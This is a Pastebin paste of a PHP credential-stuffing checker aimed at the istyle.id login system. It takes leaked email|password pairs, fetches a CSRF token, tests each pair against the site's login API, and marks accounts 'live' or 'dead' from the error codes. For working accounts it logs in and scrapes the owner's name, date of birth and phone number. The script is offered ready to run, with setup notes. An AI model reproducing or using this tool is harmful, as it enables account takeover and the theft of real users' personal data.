Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ############## NOTE ##############
- #
- #save file as .php
- #create folder 'cookies' in same file location
- #run file in browser with example -> [email protected]|password123
- #
- ##################################
- header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
- header("Access-Control-Allow-Credentials: true");
- header('Access-Control-Allow-Origin: *');
- header("Access-Control-Allow-Headers: Content-Type, *");
- $email = $_GET['email'];;
- $email = explode('|',$email);
- $email = explode(':',$email['0']);
- $email = $email[0];
- if(!$_GET['email']){
- $data = array('response' => '100', 'email' => "$email", 'status' => 'unknown');
- echo json_encode($data);
- exit();
- }else{
- $kreden = $_GET['email'];
- $kreden2 = str_replace("|","[]","$kreden");
- $kreden2 = str_replace(":","[]","$kreden2");
- $bisabaca = explode('[]',$kreden2);
- $email = $bisabaca[0];
- $password = $bisabaca[1];
- $jorr = rand(1,999999999);
- $cookiess = "cookies/istyle".$jorr.".txt";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://www.istyle.id/login/loginForm.do#login");
- curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiess);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiess);
- curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- $result = curl_exec($ch);
- curl_close($ch);
- $konsa = explode('name="_csrf" content="',$result);
- $mista = explode('"',$konsa[1]);
- $csrf = $mista[0];
- $ch2 = curl_init();
- curl_setopt($ch2, CURLOPT_URL,"https://www.istyle.id/api/me/usermgmt/checkLogin");
- curl_setopt($ch2, CURLOPT_POST, 1);
- curl_setopt($ch2, CURLOPT_COOKIEJAR, $cookiess);
- curl_setopt($ch2, CURLOPT_COOKIEFILE, $cookiess);
- curl_setopt($ch2, CURLOPT_POSTFIELDS,"password=$password&userId=$email&userPassword=$password&_csrf=$csrf"); //Post Fields
- curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, false);
- curl_setopt($ch2, CURLOPT_ENCODING, 'gzip, deflate');
- $result2 = curl_exec($ch2);
- curl_close($ch2);
- //error code -> {"5001001":5001001,"message":"id not found.","data":null,"succeeded":true}
- //error code -> {"code":5001002,"message":"password not matched.","data":{"loginFailCount":"1"},"succeeded":true}
- //success code = > {"code":200,"message":"success","data":{"loginFailCount":"4"},"succeeded":true}
- $baca_login = json_decode($result2,true);
- $login_code = $baca_login['code'];
- if($login_code == '5001001'){ //no account
- $data = array('response' => '200','email' => "$kreden", 'status' => 'dead');
- echo json_encode($data);
- exit();
- }else
- if($login_code == '5001002'){ //no password
- $data = array('response' => '200','email' => "$kreden", 'status' => 'dead');
- echo json_encode($data);
- exit();
- }else
- if($login_code == '200'){
- $ch3 = curl_init();
- curl_setopt($ch3, CURLOPT_URL,"https://www.istyle.id/login/loginProcess.do");
- curl_setopt($ch3, CURLOPT_POST, 1);
- curl_setopt($ch3, CURLOPT_COOKIEJAR, $cookiess);
- curl_setopt($ch3, CURLOPT_COOKIEFILE, $cookiess);
- curl_setopt($ch3, CURLOPT_POSTFIELDS,"redirectUrl=https://www.istyle.id/me/service/oauth/memberMain.do&_csrf=$csrf&userid=$email&remember_me=false&password=$password"); //Post Fields
- curl_setopt($ch3, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch3, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch3, CURLOPT_ENCODING, 'gzip, deflate');
- $result3 = curl_exec($ch3);
- curl_close($ch3);
- $p1 = explode('name: "',$result3);
- $p2 = explode('",',$p1[1]);
- $p3 = explode('dob: "',$result3);
- $p4 = explode('",',$p3[1]);
- $p5 = explode('phone: "',$result3);
- $p6 = explode('",',$p5[1]);
- $account_name = $p2[0];
- $dob = $p4[0];
- $phone = $p6[0];
- $data = array('response' => '200','email' => "$kreden|$account_name|$dob|$phone", 'status' => 'live');
- echo json_encode($data);
- exit();
- }else{
- $data = array('response' => '200','email' => "$kreden", 'status' => 'unkown');
- echo json_encode($data);
- exit();
- }
- }
- ?>
Add Comment
Please, Sign In to add comment